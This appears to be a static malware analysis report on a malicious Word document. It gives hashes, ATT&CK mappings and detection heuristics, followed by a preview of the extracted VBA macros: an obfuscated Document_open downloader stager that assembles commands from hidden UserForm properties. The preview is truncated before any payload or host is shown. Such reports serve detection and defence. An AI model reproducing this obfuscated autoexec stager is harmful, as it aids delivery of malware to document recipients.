Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4165f6cfc45b007e…

MALICIOUS

Office (OLE)

127.3 KB Created: 2019-12-16 06:02:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a3ba682d1a9973d23ab47bfebdb580cb SHA-1: a3f0e1293438864bf3b00b24b2af59a6dc853ef2 SHA-256: 4165f6cfc45b007e2b4af0179a115d136c97948360ed717a3240f8a7b0d96013
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are commonly used to download and execute malicious payloads. The presence of CreateObject and GetObject calls further suggests dynamic execution of code. While the specific payload is not visible, the techniques indicate a downloader or initial execution stage of a malware infection.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7458295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7458295-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8025 bytes
SHA-256: dc4efcdc7d9c31b7db2a08b57c9d92164d9b3413f800d95aff3a9cec5466c0e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Uvaqofqttrsb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Bmqsealo, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Azfhoeaqc
      Dim Isqzceoktc
      For Fepnpkhuxr = Rhxijmicux To 0
         Kvfefrwv = xPI
         Zlekwvqmc = CDbl(3)
         Ozdyqkfvmo = Tan(MyeW5A)
         Oohzkecgvwae = 4 - Fomelpwrvv
         Ogqzbrirq = (3 - Vghawprzzth)
         Iicbxwslydp = Vvjwntjaqxd
         Cdwcnhba = CDbl(6)
         Ohtuccxcsfgu = Tan(Cfnwqskzlxt)
      Next
      Dim Rbtrogdf
      Dim Wmlzrtlpxihhn
      For Utakmiao = Rhxijmicux To 0
         Cahllhlf = xPI
         Ogorrkqq = CDbl(3)
         Jorotmcvpovy = Tan(MyeW5A)
         Ptddmbwcjznnf = 4 - Crjfmtoitrze
         Phqarcygmeh = (3 - Esaghucnw)
         Tdblkmnwgmur = Nguwffyrmjq
         Rkncsvyhob = CDbl(6)
         Zrlpukacstoiq = Tan(Ubrruqbvm)
      Next
      Dim Nfoajilixik
      Dim Kwebstscsmd
      For Ielkxvde = Rhxijmicux To 0
         Sqexvhoevmy = xPI
         Kuemfnvtligah = CDbl(3)
         Kpojjhmkovw = Tan(MyeW5A)
         Iheeogbp = 4 - Yrgvgiyxol
         Fyplqyjpqjsr = (3 - Ebmbvxqg)
         Dmfcpyhjcpbf = Qdfdsozo
         Dwlnpecz = CDbl(6)
         Hdshasbipvcym = Tan(Srnobsobcz)
      Next
Lqizngdbeggk
End Sub

Attribute VB_Name = "Mawupmwl"
Attribute VB_Base = "0{9608EDB6-8842-4916-AEBA-766DAEB9F105}{FEF48F36-CBA4-47B8-9233-53335A8FBE0A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gmmpetoxmwxq"
Function Vpcfyhovdm()
      Dim Ccpooxupsfli
      Dim Mnnbmuiai
      For Quxngrqu = Rhxijmicux To 0
         Yufcyzqjbu = xPI
         Haqcstcjbukn = CDbl(3)
         Wblovnov = Tan(MyeW5A)
         Hyousqhlhzmx = 4 - Yxsmjekr
         Doymzfcmnxuu = (3 - Rlnzgyrze)
         Xvbmiipssre = Lcwajajdslvy
         Lhedjqwbka = CDbl(6)
         Pebmpmssn = Tan(Qpexmfjg)
      Next
Ldqstbvqbb = Uvaqofqttrsb.Bmqsealo
      Dim Ywlxevvdiwcdg
      Dim Sfcrbnyrvgs
      For Zieuckqr = Rhxijmicux To 0
         Iwwaelqn = xPI
         Gdtumklaeqqmi = CDbl(3)
         Ashbwpwma = Tan(MyeW5A)
         Fnufetjovvoj = 4 - Yqnqnvncwdt
         Mjjrsarfyg = (3 - Xduxilizky)
         Vnxhcqqmuh = Ldviqmaj
         Pssenrlk = CDbl(6)
         Kawecjchpmr = Tan(Qmfpziyyp)
      Next
Mlznilmqsm = Ldqstbvqbb + Mawupmwl.Aszghkyljgi + Mawupmwl.Uvjzaxajmj + Mawupmwl.Yvlpohzng
      Dim Sapkzkzg
      Dim Ykuwyidzu
      For Koissezlehn = Rhxijmicux To 0
         Ximjywcefegc = xPI
         Hfkgxpphmgrg = CDbl(3)
         Vybkabzpvuays = Tan(MyeW5A)
         Jcqllsfua = 4 - Dpvgsrqdjgdv
         Trkpfzxfb = (3 - Avuhpeau)
         Jtpcjhpazfgnf = Vevqxxns
         Vwvtbdawikx = CDbl(6)
         Vrifcxxnqcf = Tan(Fdizvaml)
      Next
Tascpscfspi = Mlznilmqsm + Mawupmwl.Ebmmggrqj + Mawupmwl.Afghsmloqj
      Dim Stvaerzuynlr
      Dim Ktecubuoksn
      For Wzxtpbem = Rhxijmicux To 0
         Ooqsusgoc = xPI
         Cphvtdyeic = CDbl(3)
         Ndvbuwqedulpo = Tan(MyeW5A)
         Zveelgsukp = 4 - Xghgfbocozrlr
         Hhdshotyiexb = (3 - Jllwasywognz)
         Zdsmzmlngxqi = Ychauhfof
         Svlsxehlyzfm = CDbl(6)
         Gjweogsp = Tan(Mynfupkycvgrz)
      Next
Vpcfyhovdm = Ejmbonjr + Tascpscfspi + Ejmbonjr
      Dim Kxbltdozpu
      Dim Yojurrpp
      For Ulsjykmiskr = Rhxijmicux To 0
         Nzulsfnr = xPI
         Wotfaumdfu = CDbl(3)
         Qtkfdngc = Tan(MyeW5A)
         Ykvuwgxkdx = 4 - Wveflofhlfilj
         Mczklgkq = (3 - Gxggvrxvsx)
         Xcswzasc = Ufkidmvsle
         Eqzbpnkpremm = CDbl(6)
         Sohkxgzvdbvmo = Tan(Zlkfcxbxxkerv)
      Next
End Function
Function Lqizngdbeggk()
      Dim Bsrs
... (truncated)

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